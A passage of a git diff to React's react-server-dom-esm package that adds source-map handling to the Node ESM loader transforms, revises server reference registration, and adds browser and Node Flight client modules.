+    sourceMap && typeof sourceMap.mappings === 'string'
+      ? sourceMap.mappings
+      : '';
+  let newSrc = source;
+
+  if (exportedEntries.length > 0) {
+    let lastSourceIndex = 0;
+    let lastOriginalLine = 0;
+    let lastOriginalColumn = 0;
+    let lastNameIndex = 0;
+    let sourceLineCount = 0;
+    let lastMappedLine = 0;
+
+    if (sourceMap) {
+      // We iterate source mapping entries and our matched exports in parallel to source map
+      // them to their original location.
+      let nextEntryIdx = 0;
+      let nextEntryLine = exportedEntries[nextEntryIdx].loc.start.line;
+      let nextEntryColumn = exportedEntries[nextEntryIdx].loc.start.column;
+      readMappings(
+        mappings,
+        (
+          generatedLine: number,
+          generatedColumn: number,
+          sourceIndex: number,
+          originalLine: number,
+          originalColumn: number,
+          nameIndex: number,
+        ) => {
+          if (
+            generatedLine > nextEntryLine ||
+            (generatedLine === nextEntryLine &&
+              generatedColumn > nextEntryColumn)
+          ) {
+            // We're past the entry which means that the best match we have is the previous entry.
+            if (lastMappedLine === nextEntryLine) {
+              // Match
+              exportedEntries[nextEntryIdx].originalLine = lastOriginalLine;
+              exportedEntries[nextEntryIdx].originalColumn = lastOriginalColumn;
+              exportedEntries[nextEntryIdx].originalSource = lastSourceIndex;
+              exportedEntries[nextEntryIdx].nameIndex = lastNameIndex;
+            } else {
+              // Skip if we didn't have any mappings on the exported line.
+            }
+            nextEntryIdx++;
+            if (nextEntryIdx < exportedEntries.length) {
+              nextEntryLine = exportedEntries[nextEntryIdx].loc.start.line;
+              nextEntryColumn = exportedEntries[nextEntryIdx].loc.start.column;
+            } else {
+              nextEntryLine = -1;
+              nextEntryColumn = -1;
+            }
+          }
+          lastMappedLine = generatedLine;
+          if (sourceIndex > -1) {
+            lastSourceIndex = sourceIndex;
+          }
+          if (originalLine > -1) {
+            lastOriginalLine = originalLine;
+          }
+          if (originalColumn > -1) {
+            lastOriginalColumn = originalColumn;
+          }
+          if (nameIndex > -1) {
+            lastNameIndex = nameIndex;
+          }
+        },
+      );
+      if (nextEntryIdx < exportedEntries.length) {
+        if (lastMappedLine === nextEntryLine) {
+          // Match
+          exportedEntries[nextEntryIdx].originalLine = lastOriginalLine;
+          exportedEntries[nextEntryIdx].originalColumn = lastOriginalColumn;
+          exportedEntries[nextEntryIdx].originalSource = lastSourceIndex;
+          exportedEntries[nextEntryIdx].nameIndex = lastNameIndex;
+        }
+      }
+
+      for (
+        let lastIdx = mappings.length - 1;
+        lastIdx >= 0 && mappings[lastIdx] === ';';
+        lastIdx--
+      ) {
+        // If the last mapped lines don't contain any segments, we don't get a callback from readMappings
+        // so we need to pad the number of mapped lines, with one for each empty line.
+        lastMappedLine++;
+      }
+
+      sourceLineCount = program.loc.end.line;
+      if (sourceLineCount < lastMappedLine) {
+        throw new Error(
+          'The source map has more mappings than there are lines.',
+        );
+      }
+      // If the original source string had more lines than there are mappings in the source map.
+      // Add some extra padding of unmapped lines so that any lines that we add line up.
+      for (
+        let extraLines = sourceLineCount - lastMappedLine;
+        extraLines > 0;
+        extraLines--
+      ) {
+        mappings += ';';
+      }
+    } else {
+      // If a file doesn't have a source map then we generate a blank source map that just
+      // contains the original content and segments pointing to the original lines.
+      sourceLineCount = 1;
+      let idx = -1;
+      while ((idx = source.indexOf('\n', idx + 1)) !== -1) {
+        sourceLineCount++;
+      }
+      mappings = 'AAAA' + ';AACA'.repeat(sourceLineCount - 1);
+      sourceMap = {
+        version: 3,
+        sources: [url],
+        sourcesContent: [source],
+        mappings: mappings,
+        sourceRoot: '',
+      };
+      lastSourceIndex = 0;
+      lastOriginalLine = sourceLineCount;
+      lastOriginalColumn = 0;
+      lastNameIndex = -1;
+      lastMappedLine = sourceLineCount;
+
+      for (let i = 0; i < exportedEntries.length; i++) {
+        // Point each entry to original location.
+        const entry = exportedEntries[i];
+        entry.originalSource = 0;
+        entry.originalLine = entry.loc.start.line;
+        // We use column zero since we do the short-hand line-only source maps above.
+        entry.originalColumn = 0; // entry.loc.start.column;
+      }
     }
-    newSrc += 'registerServerReference(' + local + ',';
-    newSrc += JSON.stringify(url) + ',';
-    newSrc += JSON.stringify(exported) + ');\n';
-  });
+
+    newSrc += '\n\n;';
+    newSrc +=
+      'import {registerServerReference} from "react-server-dom-esm/server";\n';
+    if (mappings) {
+      mappings += ';;';
+    }
+
+    const createMapping = createMappingsSerializer();
+
+    // Create an empty mapping pointing to where we last left off to reset the counters.
+    let generatedLine = 1;
+    createMapping(
+      generatedLine,
+      0,
+      lastSourceIndex,
+      lastOriginalLine,
+      lastOriginalColumn,
+      lastNameIndex,
+    );
+    for (let i = 0; i < exportedEntries.length; i++) {
+      const entry = exportedEntries[i];
+      generatedLine++;
+      if (entry.type !== 'function') {
+        // We first check if the export is a function and if so annotate it.
+        newSrc += 'if (typeof ' + entry.localName + ' === "function") ';
+      }
+      newSrc += 'registerServerReference(' + entry.localName + ',';
+      newSrc += JSON.stringify(url) + ',';
+      newSrc += JSON.stringify(entry.exportedName) + ');\n';
+
+      mappings += createMapping(
+        generatedLine,
+        0,
+        entry.originalSource,
+        entry.originalLine,
+        entry.originalColumn,
+        entry.nameIndex,
+      );
+    }
+  }
+
+  if (sourceMap) {
+    // Override with an new mappings and serialize an inline source map.
+    sourceMap.mappings = mappings;
+    newSrc +=
+      '//# sourceMappingURL=data:application/json;charset=utf-8;base64,' +
+      Buffer.from(JSON.stringify(sourceMap)).toString('base64');
+  }
+
   return newSrc;
 }
 
@@ -307,10 +569,13 @@ async function parseExportNamesInto(
 }
 
 async function transformClientModule(
-  body: any,
+  program: any,
   url: string,
+  sourceMap: any,
   loader: LoadFunction,
 ): Promise<string> {
+  const body = program.body;
+
   const names: Array<string> = [];
 
   await parseExportNamesInto(body, names, url, loader);
@@ -329,9 +594,9 @@ async function transformClientModule(
       newSrc +=
         'throw new Error(' +
         JSON.stringify(
-          `Attempted to call the default export of ${url} from the server` +
+          `Attempted to call the default export of ${url} from the server ` +
             `but it's on the client. It's not possible to invoke a client function from ` +
-            `the server, it can only be rendered as a Component or passed to props of a` +
+            `the server, it can only be rendered as a Component or passed to props of a ` +
             `Client Component.`,
         ) +
         ');';
@@ -351,6 +616,9 @@ async function transformClientModule(
     newSrc += JSON.stringify(url) + ',';
     newSrc += JSON.stringify(name) + ');\n';
   }
+
+  // TODO: Generate source maps for Client Reference functions so they can point to their
+  // original locations.
   return newSrc;
 }
 
@@ -391,12 +659,36 @@ async function transformModuleIfNeeded(
     return source;
   }
 
-  let body;
+  let sourceMappingURL = null;
+  let sourceMappingStart = 0;
+  let sourceMappingEnd = 0;
+  let sourceMappingLines = 0;
+
+  let program;
   try {
-    body = acorn.parse(source, {
+    program = acorn.parse(source, {
       ecmaVersion: '2024',
       sourceType: 'module',
-    }).body;
+      locations: true,
+      onComment(
+        block: boolean,
+        text: string,
+        start: number,
+        end: number,
+        startLoc: {line: number, column: number},
+        endLoc: {line: number, column: number},
+      ) {
+        if (
+          text.startsWith('# sourceMappingURL=') ||
+          text.startsWith('@ sourceMappingURL=')
+        ) {
+          sourceMappingURL = text.slice(19);
+          sourceMappingStart = start;
+          sourceMappingEnd = end;
+          sourceMappingLines = endLoc.line - startLoc.line;
+        }
+      },
+    });
   } catch (x) {
     // eslint-disable-next-line react-internal/no-production-logging
     console.error('Error parsing %s %s', url, x.message);
@@ -405,6 +697,8 @@ async function transformModuleIfNeeded(
 
   let useClient = false;
   let useServer = false;
+
+  const body = program.body;
   for (let i = 0; i < body.length; i++) {
     const node = body[i];
     if (node.type !== 'ExpressionStatement' || !node.directive) {
@@ -428,11 +722,38 @@ async function transformModuleIfNeeded(
     );
   }
 
+  let sourceMap = null;
+  if (sourceMappingURL) {
+    const sourceMapResult = await loader(
+      sourceMappingURL,
+      // $FlowFixMe
+      {
+        format: 'json',
+        conditions: [],
+        importAssertions: {type: 'json'},
+        importAttributes: {type: 'json'},
+      },
+      loader,
+    );
+    const sourceMapString =
+      typeof sourceMapResult.source === 'string'
+        ? sourceMapResult.source
+        : // $FlowFixMe
+          sourceMapResult.source.toString('utf8');
+    sourceMap = JSON.parse(sourceMapString);
+
+    // Strip the source mapping comment. We'll re-add it below if needed.
+    source =
+      source.slice(0, sourceMappingStart) +
+      '\n'.repeat(sourceMappingLines) +
+      source.slice(sourceMappingEnd);
+  }
+
   if (useClient) {
-    return transformClientModule(body, url, loader);
+    return transformClientModule(program, url, sourceMap, loader);
   }
 
-  return transformServerModule(source, body, url, loader);
+  return transformServerModule(source, program, url, sourceMap, loader);
 }
 
 export async function transformSource(
diff --git a/packages/react-server-dom-esm/src/ReactFlightESMReferences.js b/packages/react-server-dom-esm/src/ReactFlightESMReferences.js
index cd3dd349157a..8ad9f222faf7 100644
--- a/packages/react-server-dom-esm/src/ReactFlightESMReferences.js
+++ b/packages/react-server-dom-esm/src/ReactFlightESMReferences.js
@@ -13,6 +13,7 @@ export type ServerReference<T: Function> = T & {
   $$typeof: symbol,
   $$id: string,
   $$bound: null | Array<ReactClientValue>,
+  $$location?: Error,
 };
 
 // eslint-disable-next-line no-unused-vars
@@ -48,30 +49,82 @@ const FunctionBind = Function.prototype.bind;
 // $FlowFixMe[method-unbinding]
 const ArraySlice = Array.prototype.slice;
 function bind(this: ServerReference<any>): any {
-  // $FlowFixMe[unsupported-syntax]
+  // $FlowFixMe[incompatible-call]
   const newFn = FunctionBind.apply(this, arguments);
   if (this.$$typeof === SERVER_REFERENCE_TAG) {
-    // $FlowFixMe[method-unbinding]
+    if (__DEV__) {
+      const thisBind = arguments[0];
+      if (thisBind != null) {
+        console.error(
+          'Cannot bind "this" of a Server Action. Pass null or undefined as the first argument to .bind().',
+        );
+      }
+    }
     const args = ArraySlice.call(arguments, 1);
-    return Object.defineProperties((newFn: any), {
-      $$typeof: {value: SERVER_REFERENCE_TAG},
-      $$id: {value: this.$$id},
-      $$bound: {value: this.$$bound ? this.$$bound.concat(args) : args},
-      bind: {value: bind},
-    });
+    const $$typeof = {value: SERVER_REFERENCE_TAG};
+    const $$id = {value: this.$$id};
+    const $$bound = {value: this.$$bound ? this.$$bound.concat(args) : args};
+    return Object.defineProperties(
+      (newFn: any),
+      (__DEV__
+        ? {
+            $$typeof,
+            $$id,
+            $$bound,
+            $$location: {
+              value: this.$$location,
+              configurable: true,
+            },
+            bind: {value: bind, configurable: true},
+          }
+        : {
+            $$typeof,
+            $$id,
+            $$bound,
+            bind: {value: bind, configurable: true},
+          }) as PropertyDescriptorMap,
+    );
   }
   return newFn;
 }
 
+const serverReferenceToString = {
+  value: () => 'function () { [omitted code] }',
+  configurable: true,
+  writable: true,
+};
+
 export function registerServerReference<T: Function>(
   reference: T,
   id: string,
   exportName: string,
 ): ServerReference<T> {
-  return Object.defineProperties((reference: any), {
-    $$typeof: {value: SERVER_REFERENCE_TAG},
-    $$id: {value: id + '#' + exportName, configurable: true},
-    $$bound: {value: null, configurable: true},
-    bind: {value: bind, configurable: true},
-  });
+  const $$typeof = {value: SERVER_REFERENCE_TAG};
+  const $$id = {
+    value: id + '#' + exportName,
+    configurable: true,
+  };
+  const $$bound = {value: null, configurable: true};
+  return Object.defineProperties(
+    (reference: any),
+    (__DEV__
+      ? {
+          $$typeof,
+          $$id,
+          $$bound,
+          $$location: {
+            value: Error('react-stack-top-frame'),
+            configurable: true,
+          },
+          bind: {value: bind, configurable: true},
+          toString: serverReferenceToString,
+        }
+      : {
+          $$typeof,
+          $$id,
+          $$bound,
+          bind: {value: bind, configurable: true},
+          toString: serverReferenceToString,
+        }) as PropertyDescriptorMap,
+  );
 }
diff --git a/packages/react-server-dom-esm/src/client/ReactFlightClientConfigBundlerESM.js b/packages/react-server-dom-esm/src/client/ReactFlightClientConfigBundlerESM.js
new file mode 100644
index 000000000000..ebd281298331
--- /dev/null
+++ b/packages/react-server-dom-esm/src/client/ReactFlightClientConfigBundlerESM.js
@@ -0,0 +1,214 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {
+  Thenable,
+  FulfilledThenable,
+  RejectedThenable,
+  ReactDebugInfo,
+  ReactIOInfo,
+  ReactAsyncInfo,
+} from 'shared/ReactTypes';
+
+import type {ModuleLoading} from 'react-client/src/ReactFlightClientConfig';
+
+export type ServerConsumerModuleMap = string; // Module root path
+
+export type ServerManifest = string; // Module root path
+
+export type ServerReferenceId = string;
+
+import {prepareDestinationForModuleImpl} from 'react-client/src/ReactFlightClientConfig';
+
+export opaque type ClientReferenceMetadata = [
+  string, // module path
+  string, // export name
+];
+
+// eslint-disable-next-line no-unused-vars
+export opaque type ClientReference<T> = {
+  specifier: string,
+  name: string,
+};
+
+// The reason this function needs to defined here in this file instead of just
+// being exported directly from the WebpackDestination... file is because the
+// ClientReferenceMetadata is opaque and we can't unwrap it there.
+// This should get inlined and we could also just implement an unwrapping function
+// though that risks it getting used in places it shouldn't be. This is unfortunate
+// but currently it seems to be the best option we have.
+export function prepareDestinationForModule(
+  moduleLoading: ModuleLoading,
+  nonce: ?string,
+  metadata: ClientReferenceMetadata,
+) {
+  prepareDestinationForModuleImpl(moduleLoading, metadata[0], nonce);
+}
+
+export function resolveClientReference<T>(
+  bundlerConfig: ServerConsumerModuleMap,
+  metadata: ClientReferenceMetadata,
+): ClientReference<T> {
+  const baseURL = bundlerConfig;
+  return {
+    specifier: baseURL + metadata[0],
+    name: metadata[1],
+  };
+}
+
+export function resolveServerReference<T>(
+  config: ServerManifest,
+  id: ServerReferenceId,
+): ClientReference<T> {
+  const baseURL: string = config;
+  const idx = id.lastIndexOf('#');
+  const exportName = id.slice(idx + 1);
+  const fullURL = id.slice(0, idx);
+  if (!fullURL.startsWith(baseURL)) {
+    throw new Error(
+      'Attempted to load a Server Reference outside the hosted root.',
+    );
+  }
+  return {specifier: fullURL, name: exportName};
+}
+
+const asyncModuleCache: Map<string, Thenable<any>> = new Map();
+
+export function preloadModule<T>(
+  metadata: ClientReference<T>,
+): null | Thenable<any> {
+  const existingPromise = asyncModuleCache.get(metadata.specifier);
+  if (existingPromise) {
+    if (existingPromise.status === 'fulfilled') {
+      return null;
+    }
+    return existingPromise;
+  } else {
+    // $FlowFixMe[unsupported-syntax]
+    const modulePromise: Thenable<T> = import(metadata.specifier);
+    modulePromise.then(
+      value => {
+        const fulfilledThenable: FulfilledThenable<mixed> =
+          (modulePromise: any);
+        fulfilledThenable.status = 'fulfilled';
+        fulfilledThenable.value = value;
+      },
+      reason => {
+        const rejectedThenable: RejectedThenable<mixed> = (modulePromise: any);
+        rejectedThenable.status = 'rejected';
+        rejectedThenable.reason = reason;
+      },
+    );
+    asyncModuleCache.set(metadata.specifier, modulePromise);
+    return modulePromise;
+  }
+}
+
+export function requireModule<T>(metadata: ClientReference<T>): T {
+  let moduleExports;
+  // We assume that preloadModule has been called before, which
+  // should have added something to the module cache.
+  const promise: any = asyncModuleCache.get(metadata.specifier);
+  if (promise.status === 'fulfilled') {
+    moduleExports = promise.value;
+  } else {
+    throw promise.reason;
+  }
+  return moduleExports[metadata.name];
+}
+
+// We cache ReactIOInfo across requests so that inner refreshes can dedupe with outer.
+const moduleIOInfoCache: Map<string, ReactIOInfo> = __DEV__
+  ? new Map()
+  : (null: any);
+
+export function getModuleDebugInfo<T>(
+  metadata: ClientReference<T>,
+): null | ReactDebugInfo {
+  if (!__DEV__) {
+    return null;
+  }
+  const filename = metadata.specifier;
+  let ioInfo = moduleIOInfoCache.get(filename);
+  if (ioInfo === undefined) {
+    let href;
+    try {
+      // $FlowFixMe
+      href = new URL(filename, document.baseURI).href;
+    } catch (_) {
+      href = filename;
+    }
+    let start = -1;
+    let end = -1;
+    let byteSize = 0;
+    // $FlowFixMe[method-unbinding]
+    if (typeof performance.getEntriesByType === 'function') {
+      // We may be able to collect the start and end time of this resource from Performance Observer.
+      const resourceEntries = performance.getEntriesByType('resource');
+      for (let i = 0; i < resourceEntries.length; i++) {
+        const resourceEntry = resourceEntries[i];
+        if (resourceEntry.name === href) {
+          start = resourceEntry.startTime;
+          end = start + resourceEntry.duration;
+          // $FlowFixMe[prop-missing]
+          byteSize = (resourceEntry.transferSize: any) || 0;
+        }
+      }
+    }
+    const value = Promise.resolve(href);
+    // $FlowFixMe
+    value.status = 'fulfilled';
+    // Is there some more useful representation for the chunk?
+    // $FlowFixMe
+    value.value = href;
+    // Create a fake stack frame that points to the beginning of the chunk. This is
+    // probably not source mapped so will link to the compiled source rather than
+    // any individual file that goes into the chunks.
+    const fakeStack = new Error('react-stack-top-frame');
+    if (fakeStack.stack.startsWith('Error: react-stack-top-frame')) {
+      // Looks like V8
+      fakeStack.stack =
+        'Error: react-stack-top-frame\n' +
+        // Add two frames since we always trim one off the top.
+        '    at Client Component Bundle (' +
+        href +
+        ':1:1)\n' +
+        '    at Client Component Bundle (' +
+        href +
+        ':1:1)';
+    } else {
+      // Looks like Firefox or Safari.
+      // Add two frames since we always trim one off the top.
+      fakeStack.stack =
+        'Client Component Bundle@' +
+        href +
+        ':1:1\n' +
+        'Client Component Bundle@' +
+        href +
+        ':1:1';
+    }
+    ioInfo = ({
+      name: 'script',
+      start: start,
+      end: end,
+      value: value,
+      debugStack: fakeStack,
+    }: ReactIOInfo);
+    if (byteSize > 0) {
+      // $FlowFixMe[cannot-write]
+      ioInfo.byteSize = byteSize;
+    }
+    moduleIOInfoCache.set(filename, ioInfo);
+  }
+  // We could dedupe the async info too but conceptually each request is its own await.
+  const asyncInfo: ReactAsyncInfo = {
+    awaited: ioInfo,
+  };
+  return [asyncInfo];
+}
diff --git a/packages/react-server-dom-esm/src/ReactFlightClientConfigTargetESMBrowser.js b/packages/react-server-dom-esm/src/client/ReactFlightClientConfigTargetESMBrowser.js
similarity index 100%
rename from packages/react-server-dom-esm/src/ReactFlightClientConfigTargetESMBrowser.js
rename to packages/react-server-dom-esm/src/client/ReactFlightClientConfigTargetESMBrowser.js
diff --git a/packages/react-server-dom-esm/src/ReactFlightClientConfigTargetESMServer.js b/packages/react-server-dom-esm/src/client/ReactFlightClientConfigTargetESMServer.js
similarity index 100%
rename from packages/react-server-dom-esm/src/ReactFlightClientConfigTargetESMServer.js
rename to packages/react-server-dom-esm/src/client/ReactFlightClientConfigTargetESMServer.js
diff --git a/packages/react-server-dom-esm/src/client/ReactFlightDOMClientBrowser.js b/packages/react-server-dom-esm/src/client/ReactFlightDOMClientBrowser.js
new file mode 100644
index 000000000000..1c07d4369b85
--- /dev/null
+++ b/packages/react-server-dom-esm/src/client/ReactFlightDOMClientBrowser.js
@@ -0,0 +1,296 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {Thenable} from 'shared/ReactTypes.js';
+
+import type {
+  DebugChannel,
+  DebugChannelCallback,
+  FindSourceMapURLCallback,
+  Response as FlightResponse,
+} from 'react-client/src/ReactFlightClient';
+
+import type {ReactServerValue} from 'react-client/src/ReactFlightReplyClient';
+
+import {
+  createResponse,
+  createStreamState,
+  getRoot,
+  reportGlobalError,
+  processBinaryChunk,
+  processStringChunk,
+  close,
+  injectIntoDevTools,
+} from 'react-client/src/ReactFlightClient';
+
+import {processReply} from 'react-client/src/ReactFlightReplyClient';
+
+export {
+  createServerReference,
+  registerServerReference,
+} from 'react-client/src/ReactFlightReplyClient';
+
+import type {TemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
+
+export {createTemporaryReferenceSet} from 'react-client/src/ReactFlightTemporaryReferences';
+
+export type {TemporaryReferenceSet};
+
+type CallServerCallback = <A, T>(string, args: A) => Promise<T>;
+
+export type Options = {
+  moduleBaseURL?: string,
+  callServer?: CallServerCallback,
+  debugChannel?: {writable?: WritableStream, readable?: ReadableStream, ...},
+  temporaryReferences?: TemporaryReferenceSet,
+  unstable_allowPartialStream?: boolean,
+  findSourceMapURL?: FindSourceMapURLCallback,
+  replayConsoleLogs?: boolean,
+  environmentName?: string,
+  startTime?: number,
+  endTime?: number,
+};
+
+function createDebugCallbackFromWritableStream(
+  debugWritable: WritableStream,
+): DebugChannelCallback {
+  const textEncoder = new TextEncoder();
+  const writer = debugWritable.getWriter();
+  return message => {
+    if (message === '') {
+      writer.close();
+    } else {
+      // Note: It's important that this function doesn't close over the Response object or it can't be GC:ed.
+      // Therefore, we can't report errors from this write back to the Response object.
+      if (__DEV__) {
+        writer.write(textEncoder.encode(message + '\n')).catch(console.error);
+      }
+    }
+  };
+}
+
+function createResponseFromOptions(options: void | Options) {
+  const debugChannel: void | DebugChannel =
+    __DEV__ && options && options.debugChannel !== undefined
+      ? {
+          hasReadable: options.debugChannel.readable !== undefined,
+          callback:
+            options.debugChannel.writable !== undefined
+              ? createDebugCallbackFromWritableStream(
+                  options.debugChannel.writable,
+                )
+              : null,
+        }
+      : undefined;
+
+  return createResponse(
+    options && options.moduleBaseURL ? options.moduleBaseURL : '',
+    null,
+    null,
+    options && options.callServer ? options.callServer : undefined,
+    undefined, // encodeFormAction
+    undefined, // nonce
+    options && options.temporaryReferences
+      ? options.temporaryReferences
+      : undefined,
+    options && options.unstable_allowPartialStream
+      ? options.unstable_allowPartialStream
+      : false,
+    __DEV__ && options && options.findSourceMapURL
+      ? options.findSourceMapURL
+      : undefined,
+    __DEV__ ? (options ? options.replayConsoleLogs !== false : true) : false, // defaults to true
+    __DEV__ && options && options.environmentName
+      ? options.environmentName
+      : undefined,
+    __DEV__ && options && options.startTime != null
+      ? options.startTime
+      : undefined,
+    __DEV__ && options && options.endTime != null ? options.endTime : undefined,
+    debugChannel,
+  );
+}
+
+function startReadingFromUniversalStream(
+  response: FlightResponse,
+  stream: ReadableStream,
+  onDone: () => void,
+): void {
+  // This is the same as startReadingFromStream except this allows WebSocketStreams which
+  // return ArrayBuffer and string chunks instead of Uint8Array chunks. We could potentially
+  // always allow streams with variable chunk types.
+  const streamState = createStreamState(response, stream);
+  const reader = stream.getReader();
+  function progress({
+    done,
+    value,
+  }: {
+    done: boolean,
+    value: any,
+    ...
+  }): void | Promise<void> {
+    if (done) {
+      return onDone();
+    }
+    if (value instanceof ArrayBuffer) {
+      // WebSockets can produce ArrayBuffer values in ReadableStreams.
+      processBinaryChunk(response, streamState, new Uint8Array(value));
+    } else if (typeof value === 'string') {
+      // WebSockets can produce string values in ReadableStreams.
+      processStringChunk(response, streamState, value);
+    } else {
+      processBinaryChunk(response, streamState, value);
+    }
+    return reader.read().then(progress).catch(error);
+  }
+  function error(e: any) {
+    reportGlobalError(response, e);
+  }
+  reader.read().then(progress).catch(error);
+}
+
+function startReadingFromStream(
+  response: FlightResponse,
+  stream: ReadableStream,
+  onDone: () => void,
+  debugValue: mixed,
+): void {
+  const streamState = createStreamState(response, debugValue);
+  const reader = stream.getReader();
+  function progress({
+    done,
+    value,
+  }: {
+    done: boolean,
+    value: ?any,
+    ...
+  }): void | Promise<void> {
+    if (done) {
+      return onDone();
+    }
+    const buffer: Uint8Array = (value: any);
+    processBinaryChunk(response, streamState, buffer);
+    return reader.read().then(progress).catch(error);
+  }
+  function error(e: any) {
+    reportGlobalError(response, e);
+  }
+  reader.read().then(progress).catch(error);
+}
+function createFromReadableStream<T>(
+  stream: ReadableStream,
+  options?: Options,
+): Thenable<T> {
+  const response: FlightResponse = createResponseFromOptions(options);
+  if (
+    __DEV__ &&
+    options &&
+    options.debugChannel &&
+    options.debugChannel.readable
+  ) {
+    let streamDoneCount = 0;
+    const handleDone = () => {
+      if (++streamDoneCount === 2) {
+        close(response);
+      }
+    };
+    startReadingFromUniversalStream(
+      response,
+      options.debugChannel.readable,
+      handleDone,
+    );
+    startReadingFromStream(response, stream, handleDone, stream);
+  } else {
+    startReadingFromStream(
+      response,
+      stream,
+      close.bind(null, response),
+      stream,
+    );
+  }
+  return getRoot(response);
+}
+
+function createFromFetch<T>(
+  promiseForResponse: Promise<Response>,
+  options?: Options,
+): Thenable<T> {
+  const response: FlightResponse = createResponseFromOptions(options);
+  promiseForResponse.then(
+    function (r) {
+      if (
+        __DEV__ &&
+        options &&
+        options.debugChannel &&
+        options.debugChannel.readable
+      ) {
+        let streamDoneCount = 0;
+        const handleDone = () => {
+          if (++streamDoneCount === 2) {
+            close(response);
+          }
+        };
+        startReadingFromUniversalStream(
+          response,
+          options.debugChannel.readable,
+          handleDone,
+        );
+        startReadingFromStream(response, (r.body: any), handleDone, r);
+      } else {
+        startReadingFromStream(
+          response,
+          (r.body: any),
+          close.bind(null, response),
+          r,
+        );
+      }
+    },
+    function (e) {
+      reportGlobalError(response, e);
+    },
+  );
+  return getRoot(response);
+}
+
+function encodeReply(
+  value: ReactServerValue,
+  options?: {temporaryReferences?: TemporaryReferenceSet, signal?: AbortSignal},
+): Promise<
+  string | URLSearchParams | FormData,
+> /* We don't use URLSearchParams yet but maybe */ {
+  return new Promise((resolve, reject) => {
+    const abort = processReply(
+      value,
+      '',
+      options && options.temporaryReferences
+        ? options.temporaryReferences
+        : undefined,
+      resolve,
+      reject,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        abort((signal: any).reason);
+      } else {
+        const listener = () => {
+          abort((signal: any).reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+  });
+}
+
+export {createFromFetch, createFromReadableStream, encodeReply};
+
+if (__DEV__) {
+  injectIntoDevTools();
+}
diff --git a/packages/react-server-dom-esm/src/client/ReactFlightDOMClientNode.js b/packages/react-server-dom-esm/src/client/ReactFlightDOMClientNode.js
new file mode 100644
index 000000000000..e9692997dd7c
--- /dev/null
+++ b/packages/react-server-dom-esm/src/client/ReactFlightDOMClientNode.js
@@ -0,0 +1,141 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {Thenable, ReactCustomFormAction} from 'shared/ReactTypes.js';
+
+import type {
+  DebugChannel,
+  FindSourceMapURLCallback,
+  Response,
+} from 'react-client/src/ReactFlightClient';
+
+import type {Readable} from 'stream';
+
+import {
+  createResponse,
+  createStreamState,
+  getRoot,
+  reportGlobalError,
+  processStringChunk,
+  processBinaryChunk,
+  close,
+} from 'react-client/src/ReactFlightClient';
+
+import {createServerReference as createServerReferenceImpl} from 'react-client/src/ReactFlightReplyClient';
+
+export {registerServerReference} from 'react-client/src/ReactFlightReplyClient';
+
+function noServerCall() {
+  throw new Error(
+    'Server Functions cannot be called during initial render. ' +
+      'This would create a fetch waterfall. Try to use a Server Component ' +
+      'to pass data to Client Components instead.',
+  );
+}
+
+export function createServerReference<A: Iterable<any>, T>(
+  id: any,
+  callServer: any,
+): (...A) => Promise<T> {
+  return createServerReferenceImpl(id, noServerCall);
+}
+
+type EncodeFormActionCallback = <A>(
+  id: any,
+  args: Promise<A>,
+) => ReactCustomFormAction;
+
+export type Options = {
+  nonce?: string,
+  encodeFormAction?: EncodeFormActionCallback,
+  unstable_allowPartialStream?: boolean,
+  findSourceMapURL?: FindSourceMapURLCallback,
+  replayConsoleLogs?: boolean,
+  environmentName?: string,
+  startTime?: number,
+  endTime?: number,
+  // For the Node.js client we only support a single-direction debug channel.
+  debugChannel?: Readable,
+};
+
+function startReadingFromStream(
+  response: Response,
+  stream: Readable,
+  onEnd: () => void,
+): void {
+  const streamState = createStreamState(response, stream);
+
+  stream.on('data', chunk => {
+    if (typeof chunk === 'string') {
+      processStringChunk(response, streamState, chunk);
+    } else {
+      processBinaryChunk(response, streamState, chunk);
+    }
+  });
+
+  stream.on('error', error => {
+    reportGlobalError(response, error);
+  });
+
+  stream.on('end', onEnd);
+}
+
+function createFromNodeStream<T>(
+  stream: Readable,
+  moduleRootPath: string,
+  moduleBaseURL: string,
+  options?: Options,
+): Thenable<T> {
+  const debugChannel: void | DebugChannel =
+    __DEV__ && options && options.debugChannel !== undefined
+      ? {hasReadable: true, callback: null}
+      : undefined;
+
+  const response: Response = createResponse(
+    moduleRootPath,
+    null,
+    moduleBaseURL,
+    noServerCall,
+    options ? options.encodeFormAction : undefined,
+    options && typeof options.nonce === 'string' ? options.nonce : undefined,
+    undefined, // TODO: If encodeReply is supported, this should support temporaryReferences
+    options && options.unstable_allowPartialStream
+      ? options.unstable_allowPartialStream
+      : false,
+    __DEV__ && options && options.findSourceMapURL
+      ? options.findSourceMapURL
+      : undefined,
+    __DEV__ && options ? options.replayConsoleLogs === true : false, // defaults to false
+    __DEV__ && options && options.environmentName
+      ? options.environmentName
+      : undefined,
+    __DEV__ && options && options.startTime != null
+      ? options.startTime
+      : undefined,
+    __DEV__ && options && options.endTime != null ? options.endTime : undefined,
+    debugChannel,
+  );
+
+  if (__DEV__ && options && options.debugChannel) {
+    let streamEndedCount = 0;
+    const handleEnd = () => {
+      if (++streamEndedCount === 2) {
+        close(response);
+      }
+    };
+    startReadingFromStream(response, options.debugChannel, handleEnd);
+    startReadingFromStream(response, stream, handleEnd);
+  } else {
+    startReadingFromStream(response, stream, close.bind(null, response));
+  }
+
+  return getRoot(response);
+}
+
+export {createFromNodeStream};
diff --git a/packages/react-server-dom-esm/src/server/ReactFlightDOMServerNode.js b/packages/react-server-dom-esm/src/server/ReactFlightDOMServerNode.js
new file mode 100644
index 000000000000..a4bda173f158
--- /dev/null
+++ b/packages/react-server-dom-esm/src/server/ReactFlightDOMServerNode.js
@@ -0,0 +1,440 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {
+  Request,
